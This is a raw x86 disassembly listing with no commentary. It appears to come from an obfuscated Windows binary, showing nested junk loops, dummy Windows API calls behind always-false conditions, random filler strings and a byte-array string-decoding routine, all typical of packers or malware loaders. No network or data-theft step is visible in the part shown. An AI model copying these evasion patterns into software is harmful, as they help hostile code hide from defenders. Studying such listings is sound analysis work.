mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
jne 0x1003a956
push 1
lea ecx, [ebp - 0x508]
call fcn.100039fd
cmp dword [eax], 0
jne 0x1003a956
and dword [ebp - 0x37c], 0
jmp 0x1003a960
mov dword [ebp - 0x37c], 1
mov eax, dword [ebp - 0x384]
add eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x384]
add ecx, dword [ebp - 0x30]
imul ecx, eax
cmp ecx, 0x95dbc2a
je 0x1003a98c
mov dword [ebp - 0x38c], 1
jmp 0x1003a993
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 1
je 0x1003a9a8
mov dword [ebp - 0x394], 1
jmp 0x1003a9af
and dword [ebp - 0x394], 0
push 0
lea ecx, [ebp - 0x508]
call fcn.100039fd
mov ecx, dword [ebp - 0x394]
add ecx, dword [eax]
mov dword [ebp - 0x664], ecx
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x39c], 0x665a
jge 0x1003a9e6
push dword [ebp - 0x5a4]
call fcn.10048785
pop ecx
jmp 0x1003aa02
mov dword [ebp - 4], 0x1b
jmp 0x1003aa12
jmp 0x1003aa29
mov dword [ebp - 0x6c4], 0xffffffff
cmp dword [ebp - 0x6c4], 0
je 0x1003aa29
jmp 0x1003aa2e
jmp 0x1003a789
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x508]
call fcn.100039e1
jmp 0x1003a70d
mov dword [ebp - 0x30], 0xfffffff3
jmp 0x1003aa52
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1d
jne 0x1003ac2c
mov dword [ebp - 0x3a4], 0x262e
mov dword [ebp - 0x66c], str.vfkpgog_mselc_moxe_pfouoq_wiuncrvsq
cmp dword [ebp - 0x3a4], 0x2742
jle 0x1003ab97
push 1
push 0x1521
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
and dword [ebp - 0x24c], 0
jmp 0x1003aaa5
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x760c
jge 0x1003ab97
and dword [ebp - 0x1dc], 0
jmp 0x1003aacb
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x1706
jge 0x1003ab92
and dword [ebp - 0x27c], 0
jmp 0x1003aaf1
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x185b
jge 0x1003ab8d
and dword [ebp - 0x1e4], 0
jmp 0x1003ab17
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x4342
jge 0x1003ab88
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x1e4]
shl eax, cl
and eax, dword [ebp - 0x24c]
cdq
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5d8], edx
push dword [ebp - 0x5d8]
push dword [ebp - 0x5dc]
lea ecx, [ebp - 0x860]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x5b0], eax
mov ecx, dword [ebp - 0x5b0]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x860]
call fcn.100037e3
jmp 0x1003ab0a
jmp 0x1003aae4
jmp 0x1003aabe
jmp 0x1003aa98
mov dword [ebp - 0x80], 1
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x3a4], 0x2356
jge 0x1003abbd
push dword [ebp - 0x66c]
call fcn.10048785
pop ecx
jmp 0x1003abd9
or dword [ebp - 4], 0xffffffff
jmp 0x1003abe3
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x80], 0xffffffee
jmp 0x1003abfa
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x12
jl 0x1003ac27
mov byte [ebp - 0x92], 0
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x1003ac1d
push 0x151f
call dword [sym.imp.USER32.dll_IsIconic]
cmp dword [ebp - 0x80], 0
je 0x1003ac25
jmp 0x1003abf3
jmp 0x1003abf3
jmp 0x1003aa4b
mov byte [ebp - 0x11c], 5
mov byte [ebp - 0x11b], 0x7d
mov byte [ebp - 0x11a], 1
mov byte [ebp - 0x119], 0x17
mov byte [ebp - 0x118], 0xd
mov byte [ebp - 0x117], 0x25
mov byte [ebp - 0x116], 9
mov byte [ebp - 0x115], 0x34
mov byte [ebp - 0x114], 0
mov byte [ebp - 0x113], 0x20
mov byte [ebp - 0x112], 3
mov byte [ebp - 0x111], 0x22
mov byte [ebp - 0x110], 1
mov byte [ebp - 0x10f], 0xb
mov byte [ebp - 0x10e], 4
mov byte [ebp - 0x10d], 0x15
mov byte [ebp - 0x10c], 6
mov byte [ebp - 0x10b], 0x24
mov byte [ebp - 0x10a], 7
mov byte [ebp - 0x109], 0x22
mov byte [ebp - 0x108], 0xb
mov byte [ebp - 0x107], 1
mov byte [ebp - 0x106], 8
mov byte [ebp - 0x105], 0x1c
mov byte [ebp - 0x104], 2
mov byte [ebp - 0x103], 0xa
mov byte [ebp - 0x102], 0xc
mov byte [ebp - 0x101], 0x16
mov byte [ebp - 0x100], 0xa
mov byte [ebp - 0xff], 0x16
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x11c]
and eax, 0x18
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x11c]
or ecx, 0x18
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x11c]
mov byte [ebp + eax - 0x530], cl
mov dword [ebp - 0x18], 2
and dword [ebp - 0xe4], 0
jmp 0x1003ad4f
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1e
jae 0x1003ae2d
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x11c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x1003ad99
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x11c]
inc eax
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x11c]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
jmp 0x1003ad47
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xe4]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x530]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x11b]
and ecx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xe4]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x530]
mov edx, dword [ebp - 0x18]
movzx edx, byte [ebp + edx - 0x11b]
and edx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xe4]
movzx eax, byte [ebp + eax - 0x11e]
movsx eax, byte [ebp + eax - 0x530]
mov esi, dword [ebp - 0x18]
movzx ebx, byte [ebp + esi - 0x11b]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x11c]
mov byte [ebp + eax - 0x530], bl
and dword [ebp - 0xe4], 0
jmp 0x1003ad47
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x530], 0
mov dword [ebp - 0x3e4], 0x559b
mov dword [ebp - 0x674], str.morah_buvdvdob_rmnhf_jgyhoe_qaenezy_qnndexmqo_smeulwxc_dht_rbdvsccx
cmp dword [ebp - 0x3e4], 0x5880
jle 0x1003aee2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
and dword [ebp - 0x1ec], 0
jmp 0x1003ae81
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x4572
jge 0x1003aee2
and dword [ebp - 0x260], 0
jmp 0x1003aea3
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x3033
jge 0x1003aee0
mov eax, dword [ebp - 0x1ec]
or eax, dword [ebp - 0x260]
cdq
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], edx
push dword [ebp - 0x5e4]
push dword [ebp - 0x5e8]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003ae96
jmp 0x1003ae74
push 3
lea ecx, [ebp - 0x6c0]
call fcn.10003984
mov dword [ebp - 4], 0x20
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x1f4], 0
jmp 0x1003af19
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x1003af3b
push dword [ebp - 0x1f4]
lea ecx, [ebp - 0x6c0]
call fcn.100039fd
mov dword [eax], 0x313dd33a
jmp 0x1003af0c
mov dword [ebp - 0xe8], 2
jmp 0x1003af54
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x1003b4c9
mov dword [ebp - 0x3ac], 0x17c8
mov dword [ebp - 0x6d8], str.ihpx_ujp_uyy_dtcilnhii_onssn_pvdzc_ryqs_momgj_mamx_yzgxnwetl_ovw_igiecv_brr_pdxhpoem
cmp dword [ebp - 0x3ac], 0x1854
jle 0x1003b06f
and dword [ebp - 0x148], 0
jmp 0x1003af9b
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0xea5
jge 0x1003b05b
and dword [ebp - 0x254], 0
jmp 0x1003afc1
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x1d83
jge 0x1003b056
and dword [ebp - 0x144], 0
jmp 0x1003afe7
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x5392
jge 0x1003b051
mov eax, dword [ebp - 0x254]
imul eax, dword [ebp - 0x144]
xor eax, dword [ebp - 0x148]
cdq
mov dword [ebp - 0x5f4], eax
mov dword [ebp - 0x5f0], edx
push dword [ebp - 0x5f0]
push dword [ebp - 0x5f4]
lea ecx, [ebp - 0x878]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x5bc], eax
mov ecx, dword [ebp - 0x5bc]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x878]
call fcn.100037e3
jmp 0x1003afda
jmp 0x1003afb4
jmp 0x1003af8e
push 0
push 0xd3
push 0
push 0x2238
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 1
lea ecx, [ebp - 0x520]
call fcn.10003984
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x3ac], 0x1681
jge 0x1003b09c
push dword [ebp - 0x6d8]
call fcn.10048785
pop ecx
jmp 0x1003b0b8
mov dword [ebp - 4], 0x21
jmp 0x1003b0c8
mov dword [ebp - 0x3b4], 0x22ad
mov dword [ebp - 0x5c8], str.xrkw_hazjaitkz_kfbtfkzw_gsjunlzyt_iytgpcbpo_uxekp_ilzayiza_apxtm_zpz_kfiagc_xvvkpn_ikhupudDJTevvcq_aqemcu
cmp dword [ebp - 0x3b4], 0x25d0
jle 0x1003b194
and dword [ebp - 0x150], 0
jmp 0x1003b102
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x384d
jge 0x1003b194
and dword [ebp - 0x158], 0
jmp 0x1003b128
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x7b30
jge 0x1003b18f
and dword [ebp - 0x160], 0
jmp 0x1003b14a
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x5c85
jge 0x1003b18d
mov eax, dword [ebp - 0x150]
sub eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x160]
cdq
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], edx
push dword [ebp - 0x5fc]
push dword [ebp - 0x600]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003b13d
jmp 0x1003b11b
jmp 0x1003b0f5
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x3b4], 0x220b
jge 0x1003b1b4
mov edx, dword [ebp - 0x5c8]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003b1d0
mov dword [ebp - 4], 0x21
jmp 0x1003b1e0
mov dword [ebp - 0x50], 0
jmp 0x1003b1f0
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x1003b20c
push dword [ebp - 0x50]
lea ecx, [ebp - 0x520]
call fcn.100039fd
mov dword [eax], 0xae8c9f36
jmp 0x1003b1e9
mov dword [ebp - 0x50], 0
jmp 0x1003b21c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x1003b232
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xc0], 0xfffffff6
jmp 0x1003b215
push 0
lea ecx, [ebp - 0x520]
call fcn.100039fd
and dword [eax], 0
jmp 0x1003b268
push 0
lea ecx, [ebp - 0x520]
call fcn.100039fd
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x3bc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3bc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x520]
call fcn.100039fd
cmp dword [eax], 2
jg 0x1003b2ce
mov dword [ebp - 0x168], 0x35c5735e
mov dword [ebp - 0x168], 0
jmp 0x1003b29d
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jg 0x1003b2c9
push 0
lea ecx, [ebp - 0x520]
call fcn.100039fd
push dword [eax]
lea ecx, [ebp - 0x6c0]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003b2c7
jmp 0x1003b2c9
jmp 0x1003b290
jmp 0x1003b244
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc0], 0
jmp 0x1003b2fc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc0], 2
jg 0x1003b4b5
mov dword [ebp - 0x170], 0x35357f45
mov dword [ebp - 0x170], 0
jmp 0x1003b333
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
jl 0x1003b499
push 1
lea ecx, [ebp - 0x6b0]
call fcn.10003984
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x178], 0
jmp 0x1003b36a
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x1003b38c
push dword [ebp - 0x178]
lea ecx, [ebp - 0x6b0]
call fcn.100039fd
mov dword [eax], 0x7e813a3d
jmp 0x1003b35d
push 0
lea ecx, [ebp - 0x6b0]
call fcn.100039fd
and dword [eax], 0
jmp 0x1003b3c2
push 0
lea ecx, [ebp - 0x6b0]
call fcn.100039fd
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x3c4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3c4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x6b0]
call fcn.100039fd
cmp dword [eax], 2
jg 0x1003b485
mov dword [ebp - 0x7d0], 0xf446cd5f
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x1003b401
push 0
push 0x1bd9
call dword [sym.imp.GDI32.dll_SetTextColor]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc0], 0
jne 0x1003b41d
mov dword [ebp - 0x3cc], 1
jmp 0x1003b424
and dword [ebp - 0x3cc], 0
cmp dword [ebp - 0x3cc], 1
jae 0x1003b439
mov dword [ebp - 0x3d4], 1
jmp 0x1003b440
and dword [ebp - 0x3d4], 0
cmp dword [ebp - 0x3d4], 5
jae 0x1003b455
mov dword [ebp - 0x3dc], 1
jmp 0x1003b45c
and dword [ebp - 0x3dc], 0
imul esi, dword [ebp - 0x3dc], 0x2d7b
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0xc0]
lea ecx, [ebp - 0x6c0]
call fcn.100039fd
mov dword [eax], esi
jmp 0x1003b39e
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x6b0]
call fcn.100039e1
jmp 0x1003b326
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x6c0]
call fcn.100039fd
mov dword [eax], 1
jmp 0x1003b2e1
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x520]
call fcn.100039e1
jmp 0x1003af47
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c0]
call fcn.100039e1
mov dword [ebp - 4], 0x27
cmp dword [ebp - 0x3e4], 0x5287
jge 0x1003b4fb
mov edx, dword [ebp - 0x674]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003b517
or dword [ebp - 4], 0xffffffff
jmp 0x1003b521
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x8a8]
call fcn.1003fc89
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 4], 0x29
mov edx, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x6e0]
call fcn.1002c38c
mov dword [0x1007e5a4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8a8]
call fcn.100146d1
push 3
lea ecx, [ebp - 0x514]
call fcn.10003984
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3fc], 0x84dcc80f
mov dword [ebp - 0x180], 0
jmp 0x1003b5af
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x1003b5d1
push dword [ebp - 0x180]
lea ecx, [ebp - 0x514]
call fcn.100039fd
mov dword [eax], 0x77862fd4
jmp 0x1003b5a2
mov dword [ebp - 0x3c], 2
jmp 0x1003b5e1
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x1003b72c
mov dword [ebp - 0x188], 0
jmp 0x1003b604
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x1003b620
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x414], 5
jmp 0x1003b5f7
mov esi, dword [ebp - 0x3c]
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x514]
call fcn.100039fd
cmp esi, dword [eax]
jl 0x1003b641
mov dword [ebp - 0x3f4], 1
jmp 0x1003b648
and dword [ebp - 0x3f4], 0
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x514]
call fcn.100039fd
mov ecx, dword [ebp - 0x3f4]
cmp ecx, dword [eax]
jg 0x1003b66c
mov dword [ebp - 0x5e0], 1
jmp 0x1003b673
and dword [ebp - 0x5e0], 0
mov dword [ebp - 0x3fc], 0xdc53
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x7a4], eax
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x514]
call fcn.100039fd
mov eax, dword [eax]
sub eax, 0x7509cb0b
cmp eax, 0x11bbb4f5
jg 0x1003b6b1
mov dword [ebp - 0x404], 1
jmp 0x1003b6b8
and dword [ebp - 0x404], 0
mov esi, dword [ebp - 0x404]
add esi, 0xffff
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x514]
call fcn.100039fd
sub esi, dword [eax]
add esi, 0x756a3367
je 0x1003b6fb
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x514]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003b6fb
mov dword [ebp - 0x40c], 1
jmp 0x1003b702
and dword [ebp - 0x40c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + eax - 0x414], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x414], 0
je 0x1003b727
jmp 0x1003b72c
jmp 0x1003b5da
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x514]
call fcn.100039e1
and dword [ebp - 0x190], 0
jmp 0x1003b751
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xf
jae 0x1003b76a
mov eax, dword [ebp - 0x190]
mov byte [ebp + eax - 0x530], 0
jmp 0x1003b744
mov dword [ebp - 0xb4], 0xf9acf257
mov dword [ebp - 0x67c], 1
mov dword [ebp - 0x4c], 0
jmp 0x1003b78e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x1003b7a4
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x714], 0x41b3c692
jmp 0x1003b787
mov dword [ebp - 0x4c], 0
jmp 0x1003b7b4
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x1003b7ca
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2b4], 0xcb457102
jmp 0x1003b7ad
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2b4], 2
jmp 0x1003b7f8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2b4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2b4], 0
jl 0x1003ba0d
mov dword [ebp - 0xec], 0x2eaa29c1
mov dword [ebp - 0x6f8], 0xeadd5d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b4]
cmp dword [ebp + eax*4 - 0x714], 0xfffffff9
jl 0x1003b843
mov dword [ebp - 0x41c], 1
jmp 0x1003b84a
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xb4], 0xefa42b48
mov dword [ebp - 0xb4], 2
jmp 0x1003b879
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x1003ba08
mov dword [ebp - 0x5ec], 1
mov dword [ebp - 0xec], 2
jmp 0x1003b8a9
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x1003ba03
push 2
lea ecx, [ebp - 0x4fc]
call fcn.10003984
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x198], 0
jmp 0x1003b8e3
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x1003b902
push dword [ebp - 0x198]
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
and dword [eax], 0
jmp 0x1003b8d6
push 1
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
mov dword [eax], 2
jmp 0x1003b93b
push 1
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x424]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x424]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
cmp dword [eax], 0
jl 0x1003b9e3
push 1
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x714], 0xbd71e7e9
jle 0x1003b979
mov dword [ebp - 0x42c], 1
jmp 0x1003b980
and dword [ebp - 0x42c], 0
push 1
lea ecx, [ebp - 0x4fc]
call fcn.100039fd
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x714]
inc eax
inc eax
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2b4]
mov ecx, dword [ebp + ecx*4 - 0x714]
sub ecx, eax
cmp dword [ebp - 0x42c], ecx
jne 0x1003b9c8
cmp dword [ebp - 0xb4], 0
jne 0x1003b9c8
and dword [ebp - 0x434], 0
jmp 0x1003b9d2
mov dword [ebp - 0x434], 1
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x67c], eax
jmp 0x1003b917
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x6f8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4fc]
call fcn.100039e1
jmp 0x1003b89c
jmp 0x1003b86c
jmp 0x1003b7dd
mov byte [ebp - 0x6a], 0
movzx eax, byte [ebp - 0x6a]
test eax, eax
je 0x1003ba28
push 0x534
push 0x63
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
mov eax, dword [0x1007d094]
cmp eax, dword [ebp - 0x1e8]
je 0x1003ba42
mov eax, dword [0x1007e5a4]
cmp eax, dword [ebp - 0x1e8]
jne 0x1003ba5a
mov ecx, dword [ebp + 0xc]
call fcn.100037ed
push eax
push dword [ebp + 8]
call fcn.10031f2a
pop ecx
pop ecx
jmp 0x1003ca23
mov dword [ebp - 0x43c], 0x34a8
mov dword [ebp - 0x5f8], str.bwmhd_glekuow_xkw_gsggqvsd_gidfrf_uqlufc_odfibhcgg_pntrd_iokcnx_idzw_tew_obmbwlftk_iavjuzpq
cmp dword [ebp - 0x43c], 0x3769
jle 0x1003bb5a
and dword [ebp - 0x1a0], 0
jmp 0x1003ba94
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x7503
jge 0x1003bb5a
and dword [ebp - 0x1a8], 0
jmp 0x1003baba
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x4952
jge 0x1003bb55
and dword [ebp - 0x1b0], 0
jmp 0x1003bae0
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x630f
jge 0x1003bb50
and dword [ebp - 0x1b8], 0
jmp 0x1003bb02
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x30c7
jge 0x1003bb4e
mov eax, dword [ebp - 0x1a0]
cdq
idiv dword [ebp - 0x1a8]
sub edx, dword [ebp - 0x1b0]
sub edx, dword [ebp - 0x1b8]
mov eax, edx
cdq
mov dword [ebp - 0x60c], eax
mov dword [ebp - 0x608], edx
push dword [ebp - 0x608]
push dword [ebp - 0x60c]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003baf5
jmp 0x1003bad3
jmp 0x1003baad
jmp 0x1003ba87
mov dword [ebp - 0xc4], 0x14a02569
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x43c], 0x31a9
jge 0x1003bb87
mov edx, dword [ebp - 0x5f8]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003bba3
or dword [ebp - 4], 0xffffffff
jmp 0x1003bbad
mov dword [ebp - 0x88], 0xffffffff
mov dword [ebp - 0x610], 0xd7d393e7
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0x88]
test eax, eax
je 0x1003be05
mov dword [ebp - 0xc4], 0x1a
jmp 0x1003bbfb
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x19
jle 0x1003be03
mov dword [ebp - 0xfc], 0xfa51
mov dword [ebp - 0x88], 0xffffffff
jmp 0x1003bc2b
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffeb
jl 0x1003bdfe
cmp dword [ebp - 0xfc], 0
je 0x1003bc46
jmp 0x1003bdfe
mov dword [ebp - 0xfc], 0
jmp 0x1003bc5f
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xffffffff
jne 0x1003bdf9
mov dword [ebp - 0x1c0], 0xffffffff
mov byte [ebp - 0x6b], 0
movzx eax, byte [ebp - 0x6b]
test eax, eax
je 0x1003bc9d
push 0x216a
push 0
push 0
push 0x2316
push 0
push 0x7d5
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x1c0], 0xfffffff2
jmp 0x1003bcb6
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0xffffffff
jne 0x1003bdf4
mov dword [ebp - 0x444], 0xb76eea53
mov dword [ebp - 0x44c], 0x6aba
mov dword [ebp - 0x604], str.hbnhdf_daapahjpa_agjj_njhr
cmp dword [ebp - 0x44c], 0x6b1d
jle 0x1003bd9d
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
